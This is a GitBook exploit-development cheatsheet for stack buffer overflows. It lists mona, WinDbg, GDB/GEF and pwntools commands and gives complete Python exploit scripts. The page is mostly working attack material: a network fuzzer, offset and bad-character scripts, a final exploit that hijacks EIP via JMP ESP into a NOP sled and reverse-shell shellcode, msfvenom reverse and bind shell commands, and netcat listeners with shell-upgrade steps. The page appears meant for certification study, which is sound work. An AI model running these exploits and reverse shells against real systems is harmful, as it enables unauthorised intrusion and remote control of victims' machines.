> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/cheatsheets/bof.md).

# Stack Buffer Overflow — Scripts & Commands Cheatsheet

> Linux + Windows | OSED / EXP-301 | Immunity + WinDbg + GDB + pwntools

## mona.py (Immunity Debugger) — All Commands

```
# Setup — run once per app
!mona config -set workingfolder C:\mona\%p

# Module recon
!mona modules                                    # list all modules + ASLR/SafeSEH/Rebase flags
!mona modules -m "essfunc.dll"                   # info on specific module

# Pattern generation
!mona pattern_create 2000                        # create 2000-byte De Bruijn pattern
!mona pattern_create 2000 -f raw                 # raw output (no header)

# Offset finding
!mona pattern_offset -e 41326341                 # find offset from EIP value
!mona pattern_offset -e 41326341 -l 2000         # specify pattern length

# Bad characters
!mona bytearray -b "\x00"                        # generate ref array (exclude \x00)
!mona bytearray -b "\x00\x0a\x0d"               # exclude multiple bad chars
!mona compare -f C:\mona\app\bytearray.bin -a 0x019DFA30    # compare at ESP addr
!mona compare -f C:\mona\app\bytearray.bin -a esp           # compare at ESP register

# JMP ESP / trampoline search
!mona jmp -r esp                                 # find all JMP ESP
!mona jmp -r esp -cpb "\x00\x0a\x0d"            # exclude bad chars from results
!mona jmp -r esp -m "essfunc.dll"               # search specific module
!mona jmp -r esp -cpb "\x00\x0a\x0d" -o        # exclude OS modules
!mona jmp -r eax -cpb "\x00\x0a\x0d"            # JMP EAX (if EAX→buffer)
!mona jmp -r ecx -cpb "\x00\x0a\x0d"            # JMP ECX
!mona find -s "\xff\xe4" -m "essfunc.dll"        # raw byte search for ff e4 (JMP ESP)

# Stack pivot
!mona pivot -cpb "\x00\x0a\x0d"                 # find stack pivots (XCHG ESP,EAX etc.)

# Output
!mona jmp -r esp -cpb "\x00\x0a\x0d" -o -n     # -o=no OS dlls, -n=no module rebase
# Results in: C:\mona\<appname>\jmp.txt
```

## Immunity Debugger — Keyboard Shortcuts

| Key                                             | Action                          |
| ----------------------------------------------- | ------------------------------- |
| `F2`                                            | Toggle breakpoint at cursor     |
| `F7`                                            | Step into                       |
| `F8`                                            | Step over                       |
| `F9`                                            | Run / continue                  |
| `Ctrl+F9`                                       | Execute until return (step out) |
| `Ctrl+G`                                        | Go to address in CPU view       |
| `Ctrl+F2`                                       | Restart process                 |
| `Alt+M`                                         | Memory map                      |
| `Alt+E`                                         | Executable modules list         |
| `Alt+C`                                         | CPU view                        |
| `Ctrl+B`                                        | Binary search in memory         |
| Right-click ESP → Follow in Dump                | View stack in hex dump          |
| Right-click EIP value → Follow                  | Go to that address              |
| Right-click in CPU → Search For → All Commands  | Search "JMP ESP"                |
| Right-click in CPU → Search For → All Sequences | Search byte sequence            |

## WinDbg — Stack BOF Commands

```windbg
# Attach / launch
windbg.exe target.exe arg1 arg2
windbg.exe -p <PID>

# Symbols
.symfix                                          # use MS symbol server
.symfix+ C:\symbols                              # add local cache
.reload                                          # reload all symbols
.reload /f ntdll.dll                             # force reload one module

# Execution
g                                                # go (continue)
p                                                # step over
t                                                # step into
gu                                               # step out (go until return)
gh                                               # go, exception handled

# Registers
r                                                # all registers
r eip                                            # single register
r eip=0x625011af                                 # set register

# Memory — examine
dd esp                                           # dump DWORDs at ESP
dd esp L20                                       # dump 20 DWORDs at ESP
db esp L100                                      # dump 100 bytes (hex + ASCII)
da esp                                           # dump ASCII string at ESP
dds esp L30                                      # dump stack with symbol names
dqs rsp L30                                      # x64 — dump QWORD stack with syms
u eip                                            # disassemble at EIP
uf 0x<addr>                                      # disassemble full function
u esp                                            # disassemble at ESP

# Memory — search (find JMP ESP = ff e4)
s -b 0x62500000 L0x8000 ff e4                   # search in essfunc.dll range
s -b 0x00000000 L?0x7fffffff ff e4              # search all userland
s -b 0x00000000 L?0x7fffffff ff d4              # search for CALL ESP

# Module info
lm                                               # list all loaded modules
lm m essfunc                                     # filter by name
!lmi essfunc                                     # detailed module info (base, size, flags)
lmf m ntdll                                      # module with file path

# Symbols
x essfunc!*                                      # all exports in essfunc
ln 0x625011af                                    # nearest symbol to address

# Breakpoints
bp 0x625011af                                    # software breakpoint
bp essfunc!SomeFunc                              # break on symbol
ba e1 0x625011af                                 # hardware exec breakpoint
bl                                               # list breakpoints
bc *                                             # clear all breakpoints
bd 0                                             # disable BP #0
be 0                                             # enable BP #0

# Stack trace
k                                                # call stack
kn                                               # call stack with frame numbers
kb                                               # call stack with first 3 args

# Crash analysis
!analyze -v                                      # auto-analyze crash (verbose)
.exr -1                                          # last exception record
.ecxr                                            # switch to exception context

# Memory regions (check DEP/NX)
!address esp                                     # region info for stack
!address 0x625011af                              # region info for any address
!vprot 0x625011af                                # virtual protect flags

# Hex dump / edit
db 0x<addr> L40                                  # dump bytes
ed 0x<addr> 0x41414141                           # write DWORD to address
eb 0x<addr> 90 90 90 90                          # write bytes
```

## GDB + pwndbg (Linux) — Stack BOF Commands

```bash
# Launch
gdb ./vuln
gdb -q ./vuln                                    # quiet (no banner)
gdb --args ./vuln arg1 arg2                      # with arguments

# Run with payload
run $(python3 -c "print('A'*200)")
run $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)")
r <<< $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)")   # stdin

# After crash — registers
info registers                                   # all registers
info registers eip esp eax                       # specific registers
p $eip                                           # print EIP value
p/x $eip                                         # print as hex

# Memory examine
x/40xw $esp                                      # 40 words (4-byte) hex at ESP
x/40xb $esp                                      # 40 bytes hex at ESP
x/20xg $rsp                                      # x64: 20 qwords at RSP
x/s $esp                                         # string at ESP
x/i $eip                                         # one instruction at EIP
x/20i $eip                                       # 20 instructions at EIP
x/20i 0x08048490                                 # instructions at address

# Disassemble
disas main                                       # disassemble function
disas 0x08048490, 0x080484b0                     # range

# Breakpoints
b *0x08048490                                    # break at address
b main                                           # break at symbol
b *$eip                                          # break at current EIP
info break                                       # list breakpoints
d 1                                              # delete breakpoint 1
d                                                # delete all breakpoints

# Step
ni                                               # step over (next instruction)
si                                               # step into
fin                                              # step out (finish)
c                                                # continue

# pwndbg extras (loaded automatically if installed)
cyclic 200                                       # generate 200-byte De Bruijn pattern
cyclic -l 0x6161616e                             # find offset from pattern value
checksec                                         # show binary protections
vmmap                                            # memory map (segments + perms)
vmmap 0x08048000                                 # info on specific region
context                                          # full register + stack + code view
stack 20                                         # show 20 stack entries
telescope $esp 20                                # smart stack dump (follows pointers)
search -t bytes '\xff\xe4'                       # search for JMP ESP bytes
find /b 0x08048000, 0x0804c000, 0xff, 0xe4       # GDB native byte search

# Pattern with pwntools (inside gdb)
python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" > /tmp/pat
run < /tmp/pat
cyclic -l $(python3 -c "import struct; print(hex(struct.unpack('<I', b'\\x6e\\x61\\x61\\x61')[0]))")

# Info
info proc mappings                               # memory regions with permissions
info files                                       # loaded files / base addresses
maintenance info sections                        # all sections
```

## GEF (GDB Enhanced Features) — Stack BOF Commands

```bash
# Install GEF (if not installed)
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# or
pip3 install gef

# Launch
gdb ./vuln                                       # GEF loads automatically
gdb -q ./vuln                                    # quiet mode

# ── Recon ────────────────────────────────────────────────────────────────────
checksec                                         # show all binary protections
# Output: Canary | NX | PIE | RELRO | ASLR

info proc mappings                               # memory map
vmmap                                            # colored memory map with perms
vmmap stack                                      # filter to stack region
vmmap heap                                       # filter to heap region
vmmap binary                                     # filter to binary sections

entry-break                                      # break at program entry point
aslr                                             # show ASLR state (on/off)
aslr on                                          # enable ASLR in gdb session
aslr off                                         # disable ASLR in gdb session

# ── Execution ─────────────────────────────────────────────────────────────────
run $(python3 -c "print('A'*200)")               # run with argv payload
run <<< $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)")   # stdin
continue                                         # continue / go
ni                                               # next instruction (step over)
si                                               # step into
finish                                           # step out

# ── Context Display ───────────────────────────────────────────────────────────
context                                          # full view: regs + stack + code + trace
context regs                                     # registers only
context stack                                    # stack only
context code                                     # disassembly only
context trace                                    # backtrace only

# Customize context layout
gef config context.layout "regs stack code trace"
gef config context.nb_lines_stack 20             # show 20 stack lines
gef config context.nb_lines_code  10             # show 10 code lines

# ── Registers ─────────────────────────────────────────────────────────────────
registers                                        # all registers (colored, GEF style)
p $eip                                           # print EIP
p/x $esp                                         # print ESP as hex
set $eip = 0x08048490                            # set EIP value

# ── Memory Examination ────────────────────────────────────────────────────────
x/40xw $esp                                      # 40 DWORDs from ESP (hex)
x/40xb $esp                                      # 40 bytes from ESP
x/20xg $rsp                                      # x64: 20 QWORDs from RSP
x/20i $eip                                       # 20 instructions at EIP
x/s $esp                                         # string at ESP

# GEF smart display
dereference $esp 20                              # smart pointer chain from ESP (20 entries)
dereference $esp                                 # default (10 entries)
# Shows: addr → value → symbol or string (follows pointer chains)

hexdump byte $esp 64                             # hexdump 64 bytes from ESP
hexdump dword $esp 16                            # hexdump as DWORDs
hexdump qword $rsp 8                             # hexdump as QWORDs (x64)

# ── Pattern (De Bruijn) ───────────────────────────────────────────────────────
pattern create 200                               # generate 200-byte pattern (stored internally)
pattern create 200 /tmp/pattern.txt             # save to file
run $(pattern create 200)                        # run with pattern directly

# After crash — find offset from EIP
pattern offset $eip                             # find offset from EIP value
pattern offset 0x6161616e                       # from hex value
pattern offset "naaa"                           # from ASCII bytes
# Output: [+] Found at offset 140 (little-endian search)

pattern search                                  # search pattern across all registers + stack

# ── Searching Memory ──────────────────────────────────────────────────────────
search-pattern "AAAA"                           # search string in all segments
search-pattern "\xff\xe4"                       # search JMP ESP bytes
search-pattern 0x41414141                       # search DWORD value
search-pattern "/bin/sh"                        # find /bin/sh string

# Filter by region
search-pattern "\xff\xe4" only-perm x           # only in executable regions
search-pattern "\xff\xe4" section .text         # only in .text section

# ── Breakpoints ───────────────────────────────────────────────────────────────
b *0x08048490                                   # break at address
b main                                          # break at symbol
tb *0x08048490                                  # temporary breakpoint (hit once)
watch *0x<addr>                                 # hardware watchpoint (write)
rwatch *0x<addr>                                # hardware watchpoint (read)
info break                                      # list all breakpoints
delete 1                                        # delete BP #1
disable 1                                       # disable BP #1

# ── Stack Analysis ────────────────────────────────────────────────────────────
stack 30                                        # show 30 stack entries (colored)
backtrace                                       # call stack / backtrace
bt full                                         # full backtrace with locals

# ── Format String Helper ──────────────────────────────────────────────────────
format-string-helper                            # detect format string vulns automatically

# ── Heap ─────────────────────────────────────────────────────────────────────
heap chunks                                     # list all heap chunks
heap bins                                       # fastbins, smallbins, largebins
heap info                                       # heap metadata

# ── Shellcode ─────────────────────────────────────────────────────────────────
shellcode search exec                           # search shellcode DB (requires pwntools)

# ── Assembly / Disassembly ────────────────────────────────────────────────────
capstone-disassemble $eip 10                    # disassemble 10 insns (capstone engine)
assemble                                        # interactive assembler (type insns, get bytes)
assemble nop; nop; jmp esp                      # inline assemble
keystone-assemble "nop; nop; jmp esp"           # keystone engine assembler

# ── Process Info ──────────────────────────────────────────────────────────────
xinfo $eip                                      # extended info about address (section, perms)
xinfo $esp
got                                             # dump GOT table with resolved addresses
plt                                             # dump PLT table
elf-info                                        # ELF headers and section info

# ── Config / Customization ────────────────────────────────────────────────────
gef config                                      # show all GEF config options
gef config context.layout                       # show current layout
gef config theme.context_title_line_color green # customize colors
gef save                                        # save config to ~/.gef.rc

# ── Useful GEF Aliases ────────────────────────────────────────────────────────
# dereference  = smart pointer chain (replaces pwndbg's telescope)
# search-pattern = replaces pwndbg's search
# pattern create/offset = same as pwndbg's cyclic/cyclic -l
# context = replaces pwndbg's context
# vmmap = same as pwndbg's vmmap
```

### GEF vs pwndbg — Equivalent Commands

\| Task | GEF | pwndbg | ||--|--| | Binary protections | `checksec` | `checksec` | | Memory map | `vmmap` | `vmmap` | | Create pattern | `pattern create 200` | `cyclic 200` | | Find offset | `pattern offset $eip` | `cyclic -l <val>` | | Smart stack dump | `dereference $esp 20` | `telescope $esp 20` | | Search bytes | `search-pattern "\xff\xe4"` | `search -t bytes '\xff\xe4'` | | Registers | `registers` | `info registers` | | Context | `context` | `context` | | GOT table | `got` | `got` | | Heap chunks | `heap chunks` | `heap` | | Assemble bytes | `assemble nop` | `asm('nop')` (in Python) |

### Full GEF BOF Workflow Example

```bash
gdb -q ./vuln

# Check protections
gef➤ checksec
# Stack: No canary ✓  NX: disabled ✓  PIE: No PIE ✓

# Create and send pattern
gef➤ run $(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(300))")
# Program received signal SIGSEGV

# Find offset
gef➤ pattern offset $eip
# [+] Found at offset 140 (little-endian)

# Search for JMP ESP in all executable regions
gef➤ search-pattern "\xff\xe4" only-perm x
# [+] 0x0804849b found in .text

# Confirm: disassemble at that address
gef➤ x/2i 0x0804849b
# 0x0804849b: jmp esp
# 0x0804849d: nop

# Set breakpoint on JMP ESP to confirm hit
gef➤ b *0x0804849b
gef➤ run $(python3 exploit.py)
# Breakpoint hit → check ESP now points to shellcode

gef➤ dereference $esp 10          # verify shellcode starts here
gef➤ x/20i $esp                   # disassemble shellcode/NOP sled
gef➤ continue                     # let it run → shell
```

## msf-pattern Tools

```bash
# Create pattern
msf-pattern_create -l 2000
msf-pattern_create -l 2000 > pattern.txt

# Find offset
msf-pattern_offset -l 2000 -q 41326341          # hex EIP value
msf-pattern_offset -l 2000 -q "As3A"            # ASCII EIP value
```

## ROPgadget — Finding JMP ESP / Gadgets (Linux)

```bash
# Find JMP ESP
ROPgadget --binary ./vuln --rop | grep "jmp esp"
ROPgadget --binary ./vuln --rop | grep "call esp"

# Find gadgets containing specific instructions
ROPgadget --binary ./vuln --rop | grep "pop eax"
ROPgadget --binary ./vuln --rop | grep "pop eax.*ret"

# Search string (e.g. /bin/sh)
ROPgadget --binary ./vuln --string "/bin/sh"

# Search across libc too
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --rop | grep "jmp esp"

# Filter by address range
ROPgadget --binary ./vuln --rop --range "0x08048000-0x0804c000"

# Output to file
ROPgadget --binary ./vuln --rop > gadgets.txt
```

## msfvenom — Shellcode Generation

```bash
# Windows x86 reverse shell (most common OSED payload)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=192.168.1.100 \
    LPORT=4444 \
    -b "\x00\x0a\x0d" \
    -f py \
    -v shellcode

# Windows x86 reverse shell — thread exit (more stable)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=192.168.1.100 \
    LPORT=4444 \
    -b "\x00\x0a\x0d" \
    EXITFUNC=thread \
    -f py -v shellcode

# Windows x86 bind shell (target listens)
msfvenom -p windows/shell_bind_tcp \
    LPORT=4444 \
    -b "\x00\x0a\x0d" \
    EXITFUNC=thread \
    -f py -v shellcode

# Windows x86 — execute calc.exe (PoC / safe test)
msfvenom -p windows/exec \
    CMD=calc.exe \
    -b "\x00\x0a\x0d" \
    -f py -v shellcode

# Windows x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=192.168.1.100 \
    LPORT=4444 \
    -b "\x00" \
    -f py -v shellcode

# Linux x86 reverse shell
msfvenom -p linux/x86/shell_reverse_tcp \
    LHOST=127.0.0.1 \
    LPORT=4444 \
    -b "\x00" \
    -f py -v shellcode

# Linux x86 exec /bin/sh
msfvenom -p linux/x86/exec \
    CMD=/bin/sh \
    -b "\x00" \
    -f py -v shellcode

# Linux x64 reverse shell
msfvenom -p linux/x64/shell_reverse_tcp \
    LHOST=127.0.0.1 \
    LPORT=4444 \
    -b "\x00" \
    -f py -v shellcode

# Alphanumeric shellcode (printable chars only)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=192.168.1.100 LPORT=4444 \
    -e x86/alpha_mixed \
    BufferRegister=ESP \
    -f py -v shellcode

# Output formats
-f py        # Python bytes
-f c         # C array
-f raw       # raw binary
-f hex       # hex string
-f ps1       # PowerShell

# List available payloads
msfvenom -l payloads | grep "windows/shell"
msfvenom -l payloads | grep "linux/x86"
msfvenom -l encoders
```

## Listeners

```bash
# Netcat (simplest)
nc -lvnp 4444

# Netcat — keep listening after shell exits
while true; do nc -lvnp 4444; done

# Metasploit multi/handler (more stable for meterpreter)
msfconsole -q -x "
use exploit/multi/handler;
set payload windows/shell_reverse_tcp;
set LHOST 192.168.1.100;
set LPORT 4444;
set ExitOnSession false;
run -j"
```

## pwntools — Complete Script Reference

```python
from pwn import *

# ── Context ───────────────────────────────────────────────────────────────────
context.arch      = 'i386'      # 'i386' | 'amd64' | 'arm' | 'aarch64'
context.os        = 'linux'     # 'linux' | 'windows'
context.endian    = 'little'    # default
context.log_level = 'debug'     # 'debug' | 'info' | 'warning' | 'error'

# ── Target connection ─────────────────────────────────────────────────────────
p  = process('./vuln')                            # local binary
p  = process(['./vuln', 'arg1'])                  # with arguments
p  = remote('192.168.1.100', 9999)               # remote TCP
p  = remote('192.168.1.100', 9999, ssl=True)     # TLS

# ── Packing / Unpacking ───────────────────────────────────────────────────────
p32(0xdeadbeef)           # → b'\xef\xbe\xad\xde'   (little-endian 32-bit)
p64(0xdeadbeef)           # → 8-byte little-endian
u32(b'\xef\xbe\xad\xde') # → 0xdeadbeef
u64(b'\xef\xbe...')       # → integer
pack(0xdeadbeef, 32)      # explicit bit width

# ── Pattern ───────────────────────────────────────────────────────────────────
pattern = cyclic(200)                             # De Bruijn 200 bytes
offset  = cyclic_find(0x6161616e)                 # find offset from EIP value
offset  = cyclic_find(b'naaa')                    # or ASCII bytes
offset  = cyclic_find(pack(u32(b'naaa')))

# ── ELF analysis ──────────────────────────────────────────────────────────────
elf  = ELF('./vuln')
elf.address                                       # base address
elf.symbols['main']                               # symbol address
elf.plt['puts']                                   # PLT entry
elf.got['puts']                                   # GOT entry
elf.bss()                                         # .bss base
next(elf.search(b'/bin/sh\x00'))                  # find string in binary
checksec(elf)                                     # print protections

# ── ROP (basic) ───────────────────────────────────────────────────────────────
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh\x00'))])
rop.chain()                                       # bytes to append

# ── Interaction ───────────────────────────────────────────────────────────────
p.recv(1024)              # receive up to 1024 bytes
p.recvline()              # receive until \n
p.recvuntil(b'> ')        # receive until pattern
p.recvall()               # receive until EOF

p.send(payload)           # send bytes (no newline)
p.sendline(payload)       # send bytes + \n
p.sendafter(b'> ', payload)    # wait for prompt then send
p.sendlineafter(b'> ', payload)

p.interactive()           # hand off to keyboard

# ── Logging ───────────────────────────────────────────────────────────────────
log.info("message")
log.success("got shell")
log.warning("bad char found")
log.error("crash")
log.debug(f"payload = {payload.hex()}")

# ── Utility ───────────────────────────────────────────────────────────────────
enhex(b'\x41\x42')        # → '4142'
unhex('4142')             # → b'\x41\x42'
xor(b'data', b'key')      # XOR
flat(0x41, 0x42, 0x43)    # concatenate into bytes
flat([0x41, 0x42])
asm('nop; nop; jmp esp')  # assemble instructions → bytes
disasm(b'\x90\x90\xff\xe4') # disassemble bytes → string
```

## Python Socket Exploit Scripts

### Fuzzer

```python
#!/usr/bin/env python3
import socket, time, sys

IP, PORT = "192.168.1.100", 9999
PREFIX   = b"OVERFLOW "

buf = b"A" * 100
while True:
    try:
        s = socket.socket()
        s.settimeout(3)
        s.connect((IP, PORT))
        s.recv(1024)
        s.send(PREFIX + buf + b"\r\n")
        try:
            s.recv(1024)
        except:
            pass
        print(f"[*] Sent {len(buf)} bytes")
        s.close()
        time.sleep(0.3)
        buf += b"A" * 100
    except Exception as e:
        print(f"[!] Crashed at ~{len(buf)} bytes: {e}")
        sys.exit(0)
```

### Pattern Sender

```python
#!/usr/bin/env python3
import socket

IP, PORT = "192.168.1.100", 9999
PREFIX   = b"OVERFLOW "

# Paste output from: msf-pattern_create -l 2000
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6..."

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(PREFIX + pattern + b"\r\n")
s.close()
print("[*] Pattern sent — check EIP in debugger")
```

### Bad Character Tester

```python
#!/usr/bin/env python3
import socket

IP, PORT = "192.168.1.100", 9999
PREFIX   = b"OVERFLOW "
OFFSET   = 1978

# Update this list as you discover bad chars
KNOWN_BAD = [0x00]

# Generate all bytes except known bad
badchars = bytes(b for b in range(0x01, 0x100) if b not in KNOWN_BAD)

payload  = PREFIX
payload += b"A" * OFFSET
payload += b"B" * 4           # EIP placeholder
payload += badchars
payload += b"\r\n"

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(payload)
s.close()

print(f"[*] Sent {len(badchars)} test bytes")
print(f"[*] Now in Immunity: !mona compare -f C:\\mona\\app\\bytearray.bin -a <ESP>")
```

### EIP Control Confirmation

```python
#!/usr/bin/env python3
import socket, struct

IP, PORT = "192.168.1.100", 9999
PREFIX   = b"OVERFLOW "
OFFSET   = 1978

payload  = PREFIX
payload += b"A" * OFFSET
payload += b"B" * 4           # EIP — expect 42424242
payload += b"C" * 400         # ESP space — expect 43434343...
payload += b"\r\n"

s = socket.socket()
s.connect((IP, PORT))
s.recv(1024)
s.send(payload)
s.close()
print("[*] Sent — check EIP == 42424242 and ESP in C block")
```

### Final Exploit

```python
#!/usr/bin/env python3
"""
Stack Buffer Overflow — Final Exploit
Target  : [App + version]
OS      : Windows x86
Offset  : [N]
JMP ESP : 0x[addr] ([module])
Bad chars: \x00 [...]
"""
import socket, struct, sys

IP, PORT = "192.168.1.100", 9999
OFFSET   = 1978

# !mona jmp -r esp -cpb "\x00\x0a\x0d" → pick from ASLR=False module
JMP_ESP  = struct.pack("<I", 0x625011AF)

# msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=4444 -b "\x00\x0a\x0d" EXITFUNC=thread -f py -v shellcode
shellcode  = b""
shellcode += b"\xba\x7e\x8c\x18\x5c"   # replace with actual msfvenom output
# ... rest of shellcode ...

BAD_CHARS = [0x00, 0x0a, 0x0d]

payload  = b"OVERFLOW "
payload += b"A" * OFFSET
payload += JMP_ESP
payload += b"\x90" * 16       # NOP sled
payload += shellcode
payload += b"\r\n"

# Sanity check
for i, byte in enumerate(payload):
    if byte in BAD_CHARS:
        print(f"[!] Bad char 0x{byte:02x} at offset {i} — FIX THIS")
        sys.exit(1)

print(f"[*] Payload: {len(payload)} bytes")

try:
    s = socket.socket()
    s.settimeout(5)
    s.connect((IP, PORT))
    s.recv(1024)
    s.send(payload)
    s.close()
    print("[+] Sent — check: nc -lvnp 4444")
except Exception as e:
    print(f"[-] {e}")
```

### Linux pwntools Exploit

```python
#!/usr/bin/env python3
from pwn import *

context.arch      = 'i386'
context.os        = 'linux'
context.log_level = 'info'

TARGET  = './vuln'
OFFSET  = 140

elf     = ELF(TARGET)
JMP_ESP = 0x0804849b   # from ROPgadget / GDB search

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f py -v sc
shellcode = (
    b"\xda\xd9\xd9\x74\x24\xf4..."
)

payload  = b"A" * OFFSET
payload += p32(JMP_ESP)
payload += b"\x90" * 16
payload += shellcode

if args.REMOTE:
    p = remote('192.168.1.100', 9999)
else:
    p = process([TARGET, payload])

p.interactive()
```

## Opcode Quick Reference

| Instruction         | Opcode     | Use Case                       |
| ------------------- | ---------- | ------------------------------ |
| `JMP ESP`           | `\xFF\xE4` | Most common trampoline         |
| `CALL ESP`          | `\xFF\xD4` | Alternative to JMP ESP         |
| `JMP EAX`           | `\xFF\xE0` | When EAX → buffer              |
| `CALL EAX`          | `\xFF\xD0` | Alternative                    |
| `JMP ECX`           | `\xFF\xE1` | When ECX → buffer              |
| `NOP`               | `\x90`     | Sled byte                      |
| `RET`               | `\xC3`     | End of ROP gadget              |
| `PUSH ESP; RET`     | `\x54\xC3` | Pivot: push ESP then ret to it |
| `XCHG EAX,ESP; RET` | `\x94\xC3` | Stack pivot                    |

## Binary Protections Cheatsheet

### Windows — Checking Protections (mona)

```
!mona modules
# Columns: Module | ASLR | Rebase | SafeSEH | NXCompat | OS DLL
# Want for BOF:    False | False  |  False  |  False   |  False
```

### Linux — Checking Protections

```bash
checksec --file=./vuln
# or in pwndbg:  checksec

# Output:
# RELRO:    Partial RELRO
# Stack:    No canary found      ← good for BOF
# NX:       NX disabled          ← good (stack executable)
# PIE:      No PIE               ← good (fixed addresses)
# ASLR:     disabled             ← /proc/sys/kernel/randomize_va_space = 0
```

```bash
# Disable ASLR temporarily (for testing)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Compile without protections
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
```

## Structured Workflow Cheatsheet

```
STEP 1 — FUZZ
  → python3 fuzzer.py
  → Watch Immunity: crash at ~N bytes
  → Note: EIP = 41414141?  ESP in buffer?

STEP 2 — PATTERN
  → !mona pattern_create 2000         (Immunity)
  → python3 send_pattern.py
  → Read EIP value in Immunity
  → !mona pattern_offset -e <EIP>
  → OFFSET = result

STEP 3 — CONFIRM EIP
  → python3 confirm_eip.py            (A*OFFSET + BBBB + CCCC)
  → EIP = 42424242  ✓
  → ESP → 43434343... ✓

STEP 4 — BAD CHARS
  → !mona bytearray -b "\x00"
  → python3 badchars.py               (sends \x01-\xff after EIP)
  → !mona compare -f bytearray.bin -a <ESP>
  → Add found bad char → repeat until "Unmodified"
  → BADCHARS = "\x00\x0a\x0d"        (example)

STEP 5 — JMP ESP
  → !mona modules                     (find ASLR=False, Rebase=False)
  → !mona jmp -r esp -cpb "\x00\x0a\x0d"
  → Check address has no bad chars
  → JMP_ESP = struct.pack("<I", 0x625011AF)

STEP 6 — SHELLCODE
  → msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=4444
             -b "\x00\x0a\x0d" EXITFUNC=thread -f py -v shellcode
  → nc -lvnp 4444

STEP 7 — EXPLOIT
  → python3 exploit.py
  → Shell received ✓
```

## netcat / socat Reference

```bash
# Listen for reverse shell
nc -lvnp 4444

# Connect to bind shell
nc 192.168.1.100 4444

# Send file as payload
nc 192.168.1.100 9999 < payload.bin

# socat (more stable PTY shell)
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Upgrade shell (after receiving nc shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
```

<img src="https://github.com/user-attachments/assets/690d5e9d-390a-4db0-ae3b-be26dcd8f770" alt="image" height="345" width="588">


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/cheatsheets/bof.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
